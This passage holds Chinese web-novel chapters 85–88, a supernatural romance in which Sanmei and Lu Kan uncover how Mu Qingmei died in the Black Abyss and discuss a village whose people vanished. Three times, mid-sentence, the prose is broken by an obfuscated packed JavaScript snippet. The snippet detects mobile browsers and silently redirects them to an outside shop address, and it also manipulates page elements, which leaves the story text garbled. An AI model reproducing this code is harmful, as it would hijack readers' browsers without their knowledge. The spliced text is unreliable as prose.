“当然是——”白老太话说一半,忽而抿嘴,犹犹豫豫,欲言又止。 阿丑却急了:“当然是什么啊!奶,咋话说一半就停了呢?” “呵。”三枚轻笑,指了指白老太手中的旱烟杆,“当然是她的阿梅小姐,后来回来找她了啊。” 85. 第 85 章 陆衎抓着三枚的手,金疮药不要钱一样,时不时撒上一点,观察着她的脸色,见她一皱眉,便小心放到嘴边吹了吹。 过了好一会儿,都没听见三枚的声音,他抬眸,就见一双杏眸,正亮晶晶地看着自己。 “怎么了?”陆衎对她微微一笑,问道。 三枚眨眨眼,把自己的手抽回来,问他:“你有在听我说话吗?” 一心两用的陆衎,看了自己落空的手一眼,轻咳一声,再抬眼看向三枚的时候,面色从容地道:“白老太藏着掖着的事,叫你一语戳破了,又摔旱烟杆甩脸色了?” “哼。” 确定陆衎有在认真听她说话,而不是心不在焉只顾玩着她的手指,三枚睨了他一眼,便轻轻放过了。 “我又不怕她,摔摔打打损失的又不是我的东西。”三枚两手一摊,一脸无所谓地道。 陆衎轻笑,不动声色地瞥了眼三枚的手,“所以呢,后来又发生了什么?” 三枚摇头:“没什么。” 木清梅离家逃跑之后,黑山寨开始实行限行令,不管寨内寨外,进出一律都要接受严格搜查,这样的情况,长达一年之久。 “老族长逝世了,独断专行、酷爱铁血手腕的领导人倒下了,上位继任的新族长,是如今还建在的木府老太爷,也就是木清梅的亲爹。” 提起这位新任族长的时候,白老太的眼底瞬时浮现过一抹轻嘲。 “可能是为了挽回点口碑,或者是想收买点人心吧,木老太爷升任族长后,也没作甚大变动,只是将限行令放开了,寨子又回到了之前悠闲平和的状态。” “说来他也没实质性地做出什么大贡献,仅此就俘获了寨子里的大批人心,屁股底下的位置,莫名其妙地就坐稳了。” 而且一坐,就是五十多年。 “阿梅小姐,就是在限行令放开的半年后,回到了黑山寨。” 白老太回忆着那天的情景,絮絮叨叨地说着,三枚听得有些昏昏欲睡,直到...... “阿梅小姐说她那一年里,只是出了黑山寨,却也没能下山,而是带着贴身的丫鬟,一直生活在山林里。” 一个锦衣玉食的大家闺秀,带着同样弱质的小丫鬟,两人一样的手无缚鸡之力,居然能够在荒无人烟的山林里,坚持生活一年? 三枚不相信,除非有人暗中相助。 但她并没有多问,只是对白老太提到的黑渊有些好奇。 “我们黑山寨每年万谷节都要进山酬拜,壮年们扛着三牲五果六畜,一一摆放在黑渊之前,跪拜祈福后留在悬崖边。第二日浓雾散尽、朝阳东升之时,你再看那悬崖边,所有的食物都不翼而飞。” “这说明黑渊收下了,来年也将继续庇佑于黑山寨。” 白老太重新抓起桌上的旱烟杆,拿到嘴边,一瞥眼就看见上头的裂痕,忽然就没了兴致,又放了下来。 “阿梅小姐说她要下山,但下山的道儿都有木府的人守着,她走不了。所以她打算沿着黑渊的崖道儿走,那次回来,就是为了远远看她娘亲和许妈妈一眼,走的时候记起了我,便也来上了这么一趟。” 她说到最后这句话的时候,好像心中无限感慨似的,长长地叹了一口气,“阿梅小姐啊,就是这样重感情的好人儿啊。” 三枚:“后来呢?” “后来啊,”白老太半眯着眼,轻轻摇了摇头,“后来,我就再没听过阿梅小姐的消息了。” “木府老太太三年前也去世了,听说阿梅小姐离开后,她便搬进了小姐的院子里,一直等着有朝一日,能再见小姐一面。”白老太抹了下微湿的眼角,“许妈妈第二年,也跟着走了。” 偌大的木府,始终如一等着阿梅小姐的家人,都走了。 如今黑山寨,除了白老太,估计没有人还惦记着木清梅了。 —— 陆衎不知道什么时候,又将三枚的小手重新牵到了大掌上,“问出来了吗,你好奇的事?” 三枚点头,扒着棺椁往底下一看,“木清梅,应该是死在了这个所谓的黑渊里。” 陆衎顺着她的视线看了眼,想着自己疾驰来寻人时,曾经路过一大片坟包墓地。 “那她算是死在了自己的故土,为什么三翻四次要拖着你进入幻梦?而且还都能够成功。” 问题一出口,还没等三枚回答,陆衎皱了下眉,冷声道:“之前听你说,你和八耳是为了给锁魂箱里,最后一个冤魂送魂,才来的黑山寨。” “是它捣的鬼?”虽然是疑问句,但他却满脸的笃定。 三枚闻言,眼尾一挑,心想:这人还真是一如既往地敏锐。 这也说明,自己在讲故事的时候,陆衎是有认真在聆听的。 想到这里,三枚心情大好,身体坐直,朝陆衎的位置挪了挪,她敲了敲身下的棺椁,“木清梅逃跑时,身边还跟着一个丫鬟。” “我和八耳最后送的冤魂,就是这小丫鬟的。” 陆衎看着主动靠近自己的三枚,唇线微扬,不动声色地抿了抿唇角。 尽管自己也猜到了这一点,但他还是装得一脸疑惑,看着三枚低声道:“是吗?到底是怎么回事呢?” 果然这话一出,三枚高高地昂起头颅,屁=股又往前挪了挪,一脸得意地道:“嗨,其实也没那么复杂,你听我跟你说啊。” —— 幻梦确实与锁魂箱里的冤魂有关。 那天白老太与三枚说完木府的一些人事物后,不知怎么,也没继续追问三枚为何提起木清梅,后面居然还让她留宿了。 白阿丑被关在云阁里的佛堂思过,三枚晚上便睡在了她的闺房里。 白天在黑山寨里闲逛了一圈,大致跟她在幻梦里的所见差不多,她甚至连木府都没去,直接就回了白老太的家里,舒舒服服地睡了一觉。 暮色降临,三枚又美美地饱餐了一顿,回房后,关起门便审起了锁魂箱里的冤魂。 那冤魂也是个没胆的,被三枚一个剑指,就从棺椁里拽了出来。 根本不用怎么威吓,自己把自己吓得没了胆,浑身哆嗦,稀里哗啦便全都交代了出来。 小丫鬟叫巧儿,是木府专门从一众丫鬟里挑选出来,给木清梅做玩伴和贴身丫鬟的。 两人从小一起长大,身份地位虽是主仆,但却情同姐妹。 木清梅被关在云阁之后,巧儿也一并被送了进去。 看着自己伺候的主子日渐消瘦,终日郁郁寡欢,身子就快要垮了,巧儿咬了咬牙,脑子里居然冒出了一个大逆不道的想法。 “小姐,不如我们逃吧。” 木清梅:“逃?” “是啊,逃!”巧儿悄声道,“小姐不是说云阁是牢笼吗?那咱们就逃。” “只要从云阁逃了,咱们不就又自由了吗?” 犹如当头棒喝,木清梅瞬间醍醐灌顶,她想:是啊,自由受到束缚,可以逃啊,而且巧儿与自己不同,是可以在府中随意走动的啊。 她将自己的体己饰物全都轻点了一遍,让巧儿能走动的时候,拿去跟府里的其他下人打点关系,特别是守门的小厮仆妇。 “等会儿,”三枚有点困惑,“你们黑山寨不是女娃七岁起不能随意跟男的见面吗?” 巧儿自嘲一笑:“是啊,但我们这下等奴才的,不包括在内啊。” 除了阿梅小姐,谁还当他们是胎生肉长的人呀? “云阁的所有衣裳锦被,让我缠成了一根又粗又长的绳子,等到夜半三更之后,阿梅小姐和我,便顺着那绳子逃了。” 两人胆战心惊,各种小心警惕,生怕发出一点声响,引来巡院的注意,最后功亏于溃。 好在老天眷顾,主仆二人居然特别顺利地逃出了木府,第二天趁着还没被发现,乔装打扮后混在出寨的人群里逃了。 木清梅是个聪明又果决的姑娘,知道她们两个女子,两条腿终是敌不过家里人的追击,于是带着巧儿,一头扎进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644491|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了山里。 原来坐落在深山里头的黑渊,边上有一个十分隐蔽的小山洞,木清梅小时顽皮,曾经背着家中奴仆独自进过山,无意间发现了这一个秘密基地。 除了万谷节,寨子里偶尔也有人会进山祭拜,木清梅和巧儿,就靠着这些祭品熬过了一年。 三枚听得半信半疑,事实是否真如巧儿所言,还是另有隐情,她也没有兴趣追究,纯粹当故事听了。 变故就发生在半年之后,木清梅突然发现黑渊边上,居然有一条崖道。 崖道窄小,只能容一人通过。 下山的路径时不时有木府的人守着,想要真真正正逃脱这个地方,就必须彻底远离黑山寨的地界。 那条崖道,不管即将通往哪里,木清梅都下定了决心,要一探究竟。 巧儿却犹豫了,其实跟着木清梅躲在深山里的那一年里,她心里不知道后悔了多少次了。 然而开弓没有回头箭,不管是进寨子里通风报信,或者丢下木清梅独自回去,等待她的,都只有一个下场——死。 于是她开始规劝木清梅,劝她回去黑山寨吧,至少不用再担心受怕,也不用受冻挨饿了。 “天真,”木清梅笑她,“寨子里已经视我为叛徒,甚至还将我除族,期间你见有谁站出来为我说过一句话吗?” “没有!就连最纵容我的母亲,最疼爱我的许妈妈,亦是沉默人群里的一员。” “没有人站在我这边,我已经没有后路可退了。” 木清梅言辞凿凿,有理有据,态度决绝,神色坚毅。 但巧儿怕啊,悔啊。 一个想放手一搏、远走高飞,一个后悔不跌、心存侥幸,意见相悖的两个人,仿佛都找到了发泄心中积攒怨愤的出口。 主仆爆发了前所未有的、激烈的争吵。 三枚叹了口气:“巧儿说她们发生了挣扎,推推嚷嚷之下,木清梅失足跌落了黑渊。” “而她先是叛逃在先,后又错手弑主,惊慌失措又害怕恐惧,吓得撒腿就跑,等回过神的时候,发现自己不知何时通过了崖道,下山了。” 后来又不长眼,遇见了心狠手辣的石春华,稀里糊涂地就没了性命。 陆衎拧眉:“她想让你作甚?” 三枚耸了耸肩,“想让我帮忙将她主子的尸首带回家。” “你不会答应了吧?” “当然没有!” 三枚哼了一声,“我又不是什么心慈手软的活菩萨,我就一个普普通通的寻尸人。” 当初实在是孟庄和石春华罪孽深重,命丧水都的少女又太无辜可怜,而她又有求于镇山神玉玺,各种复杂的原因叠加在一起,她才作出了为这群亡灵送魂的决定。 巧儿当时一开口,三枚便义正言辞地拒绝了。 生怕久呆又横生枝节,她连夜就带着八耳出寨。 期间连跟白老太和阿丑告别的时间都没有,三枚就想快点把巧儿的魂魄送走了事。 哪知道三枚刚将装着骨灰的盒子埋好,便遇见了巡山的人,被当做盗墓贼追了一路,逼得她不得不出拳,把人打趴了才肯罢休。 然而真是螳螂捕蝉黄雀在后,趁她筋疲力尽、虚弱无力的时候,躲在暗处的涂远东两兄弟,竟然卑鄙无耻地搞偷袭。 “等着吧,看我不手撕了他们两兄弟!” 三枚咬牙切齿,嘴里放着狠话,用力拍着身下的棺椁。 就在这时,一直平稳上升的棺椁,突然剧烈颠簸起来,而且颠簸的幅度越来越大。 上上下下,左摇右晃,载着三枚和陆衎的棺椁,就像漂浮在汹涌大海之上的小船一样,随时会被海浪掀翻。 三枚一手扒着棺椁的边沿,一只手紧紧地抓着陆衎的手臂,“怎么回事?” 然而没等她搞明白发生了什么,棺椁又猛然晃动了一下,不仅垂直又极速往下坠落,而且好像还越缩越小。 “啊啊啊!!陆衎,咱们就要坠崖了!!!” 86. 第 86 章 三枚醒过来的时候,发现已身处谷底,自己正躺在陆衎的怀里。 揉了揉额头,她记得当时半空中突然涌起一股强烈的气流,直直地朝她和陆衎所在之处对冲而来。 三枚一开始还没反应过来,直到贴在棺椁两端的铢钱自动脱落,贴回她的腕上,载着他们的棺椁渐渐缩小,她才惊觉隐藏在气流和雾气之中,还有一片铺天盖地的浓重鬼气。 像是鱼儿遇到了水,黑压压的鬼气在棺椁底下横冲直撞,气势汹汹,仿佛要在棺底下给硬撞出个窟窿,好往里钻。 正想做点什么的三枚,还没做出动作,就差点被气流卷飞,好在陆衎眼疾手快将她护在了怀里。 恰在这时,风势骤然猛烈了起来,卷起漫天尘土,彷如遮天蔽日一般,从四面八方倾覆向拥抱在一起的两人。 三枚本就精力不济,才会惨遭涂家两兄弟偷袭,落崖后又咬牙僵持了好一段时间,和陆衎在棺椁上还没缓上几口气呢,就又被鬼气雾气双双夹攻,一瞬间感觉呼吸不过来,没一会儿就陷入了昏迷。 现在她意识苏醒了,人却还有些懵,睁着惺忪的杏眼,上下左右环视了一圈,最后视线落在了陆衎的侧脸上。 锋利又带着杀气的一双冷峻双眸,此刻紧紧闭着,仅此一点,却令线条流畅却冷硬的面部轮廓,霎时变得安静而恬淡了起来,看起来好似没那么拒人千里。 三枚手指微抬,虚空描绘着陆衎的眉眼,却见他眉头微蹙,仿佛有淡淡的忧愁萦绕在他的眉心,令他即使陷入睡梦,也依旧不得安宁。 依陆衎背部着地,紧抱着三枚不撒手的姿势看,两人落地的时候,他把自己的身体当做了肉垫。 除了被风吹得脑袋有些刺痛之外,三枚身上一点不适的感觉也没有。 陆衎将她保护得毫发无伤。 “唉,估计痛晕过去的吧。”三枚心里有些愧疚,还有些感动,但还是让心疼占了大头。 她抿着嘴,指尖轻触到陆衎的眉间,想着将那皱起的小疙瘩给抚平了去。 然而就在那冰凉的指腹,触碰到陆衎眉心的瞬间,沉睡的美人,却睁眼了。 三枚没想到陆衎这么快就醒,所以当他睁开了那双迷人又深邃的眼眸时,脑子突然一片空白,按在人家眉心的食指,也僵在了那里。 宁静而幽暗的环境,一男一女,相拥倒在一起,一个躺在地上,另一个趴在怀里。 四目相对,明明彼此默默无言,呼吸却好似莫名纠缠在了一起,分不清你我的炙热气息,将两人的距离越扯越近。 周围的空气,突然变得暧昧了起来。 眼见陆衎的眼底泛起了幽暗的光亮,注视着自己的目光,好似一瞬充满了倾略-性和占有-欲,三枚紧张地咽了咽口水,眨了眨她那干净无瑕的清澈杏眸,顿觉口干舌燥。 她强撑着没有移开视线,反而将眼睛越瞪越大,轻轻按在陆衎眉心的手指,却用力地将他的脑袋往后抵。 力气之大,手指都弯成了一个小弧形。 明明心里好像有些紧张害怕,却莫名在期待着什么发生一样。 “砰砰!” 心跳越跳越快,越跳越大声。 看着近在咫尺、只要微微抿唇,自己就能轻而易举亲到的粉色唇瓣,陆衎的喉结,克制地滚动了一下。 他看着三枚有些无措小眼神,和另一只紧紧揪着自己衣领的小手,忽而在心里轻轻一叹:“还没开窍啊......” 之夜手下的那群人,全是废物饭桶,半年过去了,竟然还没能将山门序家的具体位置探查清楚! 罢了,靠人不如靠己,毕竟是自己的终身大事,还是得自己来。 强行按下心底的不甘和躁动,他用力闭上眼睛,舌尖抵腮,轻轻一笑,紧紧环在三枚腰间的长臂,缓缓一松,脑袋顺着三枚手中的力道,倏而朝后仰去。 “呵。” 这一声轻笑,好像从牙缝里挤出来的一样。 克制、隐忍,好似特别无奈,却又满含宠溺。 落在三枚的耳中,却彷如惊天洪雷,吓得她浑身一颤,耳朵倏而红得像是随时能滴血。 等她定睛再看,美人脸不见了,浮在自己眼前的,是陆衎一起一伏的喉结。 心底没来由涌起一股难言的羞耻感,三枚羞得脚趾都揪成了一团。 她扭捏得脸颊涨红,忽而恼羞成怒,推开陆衎,狠狠地朝着他的胸膛锤了一下,咬牙切齿的模样,仿佛也将自己脑子里突然冒出来的、见不得人的想法,也一并给捶成了碎渣。 “嘶!”陆衎闷哼一声。 三枚听见声音,又看他眉头紧皱,好像很痛苦的样子,瞬间想起他给自己当肉垫的事,又心疼了起来,连忙从他的怀里退出来,伸手扶他。 “怎么了?哪里受伤了?”她蹙眉,声音有些急切。 陆衎压着嘴角的笑意,指着自己的手臂,轻声道:“手——” “手?”三枚小心翼翼地挽起他的袖子,见上头除了一点擦伤外,没什么大碍,拧着眉道:“不是骨折了吧?” “噗嗤。”陆衎终于忍不住笑了出来,“没,被你压在身下那么久,发麻呢。” “你!”三枚气得甩开他的手,气呼呼地站了起来。 什么暧昧氛围,什么不好意思、羞耻感的,全碎了一地。 无视陆衎在身后哼哧哼哧,好像很痛苦的呻=吟声,三枚在角落里找到了自己之前松手扔下来的锁魂箱,慢慢蹲下来,屈指敲了敲。 “都没事吧?” 锁魂箱被敲得邦邦响,声音清脆响亮。 三枚挑眉,耳朵慢慢贴了上去,听见里头小铃铛发出了低沉的撞击声,好像闷闷不乐、跟人闹脾气一样。 “还能响,那就没事。” 放下心后,她又起身,这才开始观察起了这个所谓的黑渊的环境。 陆衎一边活动着发麻的手脚,一边走到三枚的身边。 见她伸手,五指徐徐穿过弥散在周围的白茫茫雾气,轻声道:“我抱着你摔落下来的瞬间,这些白雾霎时聚成了团状,垫在了我的身下。” 幸好有这团雾气在身下做缓冲,否则单凭陆衎,也无法保证在那样猛烈的飓风下,他在护着三枚的同时,自己也能安然无恙。 “不是白雾,”三枚却是摇头,沿着那团雾气一边走一边道,“是鬼气。” 她在脑子里回想着半年前在水都的时候,第一次被影响进入幻梦后的所见所闻。 当时梦里的一切,四面八方全都充斥着白茫茫的雾气,分不清东南西北,更听不见一丁点的声响。 跟现在三枚所处的环境差不多,只不过此刻她不再是孤身一人,身边多了一个亦步亦趋的陆衎。 绕了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659329|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈,三枚回到锁魂箱的边上,缓缓地坐了下来。 她伸手往前指了指,示意陆衎也坐下来。 陆衎乖乖照做,嘴角微微上扬,身体不动神色稍稍前倾,安静地等着三枚的下文。 然而三枚见他明明席地而坐,视线却与自己坐在锁魂箱上平齐,眉头先是一拧,接着挺直了腰板,眼睛稍微比陆衎的高出了一点,才满意地点了点头。 她双手环胸,下巴对着陆衎轻轻一抬,故作淡然地道:“说说吧,你为何突然出现在这儿?难不成也是为了黑山寨而来?” 还是说,背地里在自己的身边安了眼线,随时掌握着自己的一举一动? 有些话本里不就是这样写的吗,长得像陆衎这样天怒人怨的大美人,心底不定也是有某种变态和扭曲的黑暗面的。 仿佛八耳上身,三枚用充满审视的鹰眼,全神贯注盯着陆衎脸上的表情,保证绝对不会错过他脸上任何一个可疑的神情。 三枚如此热烈而专注的视线,陆衎已是好久不曾感受过了,然而他还来不及高兴呢,就听见了她问出的问题。 原以为她眯着眼,摆出一副盘问的架势,估计是要审问他这半年来有没有在外沾花惹草,心里已经准备好了答案的陆衎,满心的雀跃,竟被兜头浇了一盆冷水,一下子就回到了现实。 然而陆衎是心虚的,他之所以在这个时候出京,确实掺杂了私心。 敏锐捕捉到陆衎眼神有瞬间的闪烁,三枚咬牙:居然! 不待她拍腿逼问,陆衎便道:“你还记得吗?我曾经向你询问过关于三门序家的事情?” 三枚眨了眨眼,一下子就想了起来。 她记得自己曾经兴致勃勃地,跟陆衎解释过江湖上对三门序家的谣传,最后还特别期待,就等着他继续追问自己家坐落在哪座山头,没想到他却突然冷漠无情地结束了话题。 “哼!”三枚瞪他,幽幽地道:“记得,怎么不记得!” “嗯。” 三枚脸色骤然晴转多云,陆衎摸不准她真实的情绪,犹豫了一会儿,选择实话实说。 “其实,早在五年前,我就曾因一起诡秘悬案,辗转多地,深入多处山野老林,希望能够找到传说中的寻尸人。” 陆衎神色认真,看着三枚,“后来我在一本游商记述天下奇人异事的游记里,偶然得知寻尸五门之一的山门序家,就在湖州的某处断崖绝壁之上。” “然而我转遍了整个湖州,也不曾找到传说中的无眉山,更找不到哪一处的绝壁上,挂有一口石凿的巨型棺椁。” 三枚眨眨眼:“嗯哼,然后呢?” 陆衎:“直到我遇见了你。” 他声音又低又轻,眼神缱绻地注视着三枚,仿佛在表白自己的情思。 “好好说话!”三枚小脸倏而一红,杏眸一瞪,佯装凶狠地道:“少搞些花里胡哨的小动作!” “呵。”陆衎掩唇轻笑,生怕又将人惹得恼羞成怒又挨揍,轻咳一声后,道:“眧州与水都发生的神秘悬案告破,令皇上重又想起了这桩悬案,半个月前,秘密召我入宫,也是为了重查此案。” 三枚突然就福临心至,瞪着眼睛看向陆衎:“你的意思,你之所以会出现在这儿,是为了查那悬案而来?” 陆衎点头,“悬案发生之地,就在川临县古井村,走陆地的话,必须穿过黑山寨。” 87. 第 87 章 说到川临县古井村,可能本县当地人,都得好好想想,才能反应过来你问的是哪个地方。 但你若是提到古井鬼村,便是在整个州郡都家喻户晓的存在。 川临县地处偏僻,甚至比半隐居在高山之上的黑山寨,还要远离喧嚣繁华的城镇。 古井村是川临县下的一个小小村庄,因其村口,有口饱经岁月侵蚀的古井,尽管井下枯竭长满青苔,早已失去了最初的作用,人们还是称呼此村为古井村。 “那里山清水秀,悠远且宁静,一直是一个安静祥和的小村庄。” 陆衎盘腿坐在地上,一手支在膝上,手背抵着下巴回忆道。 “然而有一天,川临县突然陷入了一片恐慌——短短几个时辰,生活在古井村的村民们,开始相继消失。” 不管是进山采摘的,还是派出去寻人的,亦或者出村求援的...... 全村700余人,几乎在昼夜之间,全部离奇失踪。 “温馨安谧的小村庄,成了耸人听闻的鬼村。” 等邻村的人发现不对劲,报上官府的时候,村里已是一个人都不见了。 失态奇诡,官府的人不敢耽搁,立即组织力量,派人前往古井村调查情况。 然而越查,他们的心里却越没底,甚而觉得有些悚然。 因为他们发现,古井村里的房屋,和村民家中的物件全部完好无损,不管是村里村外、家里家外,也没有任何打斗劫掠拼杀的痕迹。 炊烟袅袅,灶房里的饭菜还热着,晾晒的衣服早已干透,有些勤快的人家,连给牲畜的食物,都做好了放在槽口里。 村里没人,生活气息却还很浓厚,仿佛他们只是暂时出门,很快就会回来的样子。 然而,不管等了多久,整个村子的村民,没有一个人回来过。 不止村民,连他们家中圈养的鸡鸭鹅犬,也都一并消失不见了。 偌大的村子,成了空无一人的幽冥村。 别说是人烟,连天空飞翔的鸟雀,都看不到一只,周围甚至不见半点生灵。 “后来未免引起恐慌,官府下的结论,是村中人口外移严重,导致村庄空置无人。”陆衎看着三枚说道,“但却没有人相信,因为村民们突然消失的时间太短,先前并无任何搬迁迹象。” 三枚拧眉:“虽然感觉奇怪,但也可能真是全村搬迁,像我们山门一般,避世隐居去了也不说不定。” 陆衎却摇头:“六年前,我奉命前往临川县调查此案的时候,却发现了诡异之处。” “消失的人回来了?”三枚充分发挥想象。 “没有。” 陆衎道,“临川县依旧杳无人烟,当时官府断案查封了此村,后来归入未解悬案之后,有人心生恐惧,甚至连经过古井村都不敢,直接选择绕道走。” “但也有那胆大精明、惯爱贪小便宜的人家,见村里人走屋空,托人跟府衙相关的人士打了声招呼,便心安理得地开始鸠占鹊巢。” 彻底将锅碗瓢盆等家具物件齐全的好房子,收入囊中,全都占为己有。 三枚挑眉,想了想说道:“该不会,那家人也跟着消失不见了吧。” 这次陆衎终于点头了:“正是。” “进了古井村的那户人家,不出两天,也跟着之前的村民一样,莫名消失。” 本来快要慢慢沉寂下去的古井村,又发生了人口失踪的案件,一时又掀起了大浪。 “有人说是这个村子被人下了诅咒,也有说是神明降下的天谴,反正最后亦是没有一个准确的答案。” “坊间的传闻越演越烈,将那古井村称作吞人的鬼村。自那之后,这个村庄算是彻荒废了,没人再敢搬进去,就连官府,也在村口贴了封条,放弃了这个村落。” 三枚听得入神:“你们进村看了吗?” 有时候传言会有夸大的成分,为了引人注目,难免会编造穿插一些危言耸听的假料。 陆衎:“我不止进村了,还在那里住了半个月。” “啊?”杏眸瞪大,三枚惊讶地道:“半个月?没发生什么事吧?” 若是出事了,就不可能跟你相遇,现在还能坐在你面前说笑了。 但三枚担忧的眼神和急切的语气,陆衎还是很受用,他朝三枚笑笑,“我没事。” “半个月,我和手下的一群暗卫,俱都安全无虞、毫发无损。”说到这儿,陆衎忽而皱着眉头,想了想道:“古井村包括各个角落地窖,都被我的人翻了个底朝天,然而连只老鼠麻雀都看不到,更别说是人影了。” “一点蛛丝马迹都没有?”三枚不由道。 听见三枚的话,陆衎却笑了:“真就一点蛛丝马迹都没有!距离鸠占鹊巢的那几户人家消失,到我带着人住进去,约莫有半年之久,然而期间再没有一个人敢踏足古井村。” “可村子里除了没有人烟活气外,倒是一点不见萧索,街头巷尾干干净净一点灰尘都没有,久不住人的房子不仅看不出破败的迹象,房梁上甚至一丝蛛网都找不到。” 给他们一行人带路的一家三口,战战兢兢带着他们进村时,全部都惊呆了,愣了好长一段时间,才终于找回自己的声音,嘴唇发颤脱口而出:“一点没变!” “古井村一点没变,没有杂草丛生,没有发霉腐朽,还如一年之前那般,灶房的饭菜还是热的,院子里晾晒的衣物没有积灰,仿若这个诡异村子的时间,就停留在失踪案发当天。” 坐累了的三枚,板板正正直挺挺的腰背,不知不觉已经弯了下来,调整了个舒服的坐姿,她挠了挠自己的鼻尖。 “有没有可能,是失踪的村民趁所有人不注意的时候,悄悄回过村?或者他们的亲朋好友,来帮忙整理的?” 陆衎眉头微皱,“不清楚,但当地的县衙大人,俱都信誓旦旦保证过,古井村是连鸟雀都饶道飞的可怕存在,根本不会有人敢进去。” 三枚:“你们在里头呆了半个月,一点奇怪的地方都没发现?” 陆衎摇头:“正常吃睡,白天黑夜轮流值守搜寻,一点异常也没有。” “后来都城来信,皇上命我回京,我也觉得再继续逗留在古井村里,不会再有更大的收获,于是最后带着人全部返京。” 三枚眨了眨眼,要是她的话,可能中间会杀个回马枪,表面假装撤离,实际乔装混入川临县,再暗中蹲守在古井村的附近,看看其中是否藏有猫腻。 “呵,我中途确实回去了一趟。”陆衎轻笑,自己跟三枚确实想到了一处去了。 不知道陆衎自己暗戳戳在高兴什么,三枚敲了敲身下的锁魂箱,“认真点,分什么神呢!” “回去后呢?还是什么线索都没有吗?”她问。 “咳咳,”陆衎掩唇轻咳一声,压了压上扬的唇角,才轻声道:“我又在那附近逗留了半个月,一点收获都没有。” 三枚追问:“然后呢?” 陆衎本就前倾的上半身,又朝三枚的方向斜了斜,自下而上地看着那双亮晶晶的杏眸,微微笑道:“后来因缘际会之下,我便一直在寻你们山门序家。” 三枚被他看得有些不好意思,但也没有移开视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667039|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反而瞪大了眼睛,得意地昂起了头:“没我山门的人带路,你找不到的!” “呵,确实。”陆衎看着三枚的眼里,笑意越发深了,忍不住抬手,轻轻地摸了摸她头顶翘起的小卷发。 三枚顺着他的动作抬眼,看清陆衎手上的动作后,小脸倏而一红,脑袋往后一仰,指着陆衎佯装凶狠地道:“干嘛?好好说话,别动手动脚!” 别过脸假装顺顺头发的时候,她的嘴角却不由自主地翘了起来。 陆衎剑眉微挑,“古井村这个案件,算是就此搁置了下来,然而就在我回京之后的一个月后,川临县再次传来了消息,又有人在村子里失踪了。” 原来有人见陆衎等人在古井村呆了半个多月,前后竟都无事发生,就又起了心思,结果这次搬进去不到半天,人就没了。 “你想让我帮忙?”三枚突然问道。 陆衎身子一僵,没想到三枚直接就道出了他之前的心思。 “之前我的确是这样打算的,”他不想撒谎欺骗三枚,选择了实话实说,“在眧州时我确实动了这样的心思。” 之前?三枚问:“现在呢?” 陆衎抬头看她:“我记得你说过,寻尸人专为死人寻尸。” “无规矩不成方圆,既寻尸人有这等规矩,我便不能强人所难。” 曾经不止一次扬言“规矩就是用来打破”的三枚,杏眸快速地眨了眨,舔了舔唇道:“虽然但是,其实,我也、没有那么的墨守成规。” 皱了皱脸,三枚自己也不是很确定,若是陆衎开口,自己会不会破例。 “我总不能为了一己之私,就让你成为第一个破例的人,从而成为众矢之的靶子。” 陆衎笑笑,“此次我跟皇上请了旨意,只要我顺利地解决了这桩悬案,他便打消为我和长曜郡主赐婚的想法。” “啥!”三枚瞬间就从锁魂箱上蹦了起来,怒气冲冲地道:“你和长曜郡主被赐婚了?” “没有,没有赐婚!”陆衎见三枚反应这么大,内心虽然雀跃,却怕她加深误会,连忙也跟着从地上站了起来。 双手紧紧地抓着三枚的肩膀,陆衎声音微微拔高了一点,重重强调道:“没有赐婚!” “皇上是位明君,日日被公主和长曜郡主闹得头疼,却也没有独断专行松口赐婚,而是召我进宫询问我的意见。” “我跟皇上说了,自己已有心仪之人,不日便将成亲。”他神色认真,看着三枚,“但我现在还不确定,我那心仪之人家里的具体住址,无法请媒人过去提亲。” 垂眸望着听得一脸懵懂的三枚,陆衎试探道:“三枚,你能听懂,我的意思吗?” “啊?”三枚缓缓地眨了下眼,红彤彤的小脸忽而皱了皱,眼神有些飘忽不定,支支吾吾地道:“可能、也许、大概、应该,能听懂那么一点点吧。” 陆衎差点被她的话气笑了,这是有多不确定啊! 舌尖抵了抵后槽牙,他正想直球出击,余光却瞥见,有股浓烟以迅雷之势,朝着三枚落空的背部冲刺而来。 “小心!”他抱着三枚往边上一侧,险险地躲过了袭击。 陆衎蹙眉,沉声道:“这些浓烟,正在有意识地聚集成一团,仿若人形!” 好好的气氛,居然就这么被无情破坏掉,三枚粉嫩的小脸,倏而一黑,双眉往上一竖。 嘴角抽了又抽,她一字一顿、咬牙切齿地道:“呵!是吗?” 那她可要好好瞧清楚了,是哪个没眼力劲儿的讨厌鬼,这么地不解风情!! 竟敢坏她好事!!! 88. 第 88 章 三枚缓缓转过身,嘴角微微上扬,眼神隐隐约约,闪过冷飕飕的寒光。 团聚成人影的浓雾,背后偷袭却扑了个空,瞬间膨胀了起来。 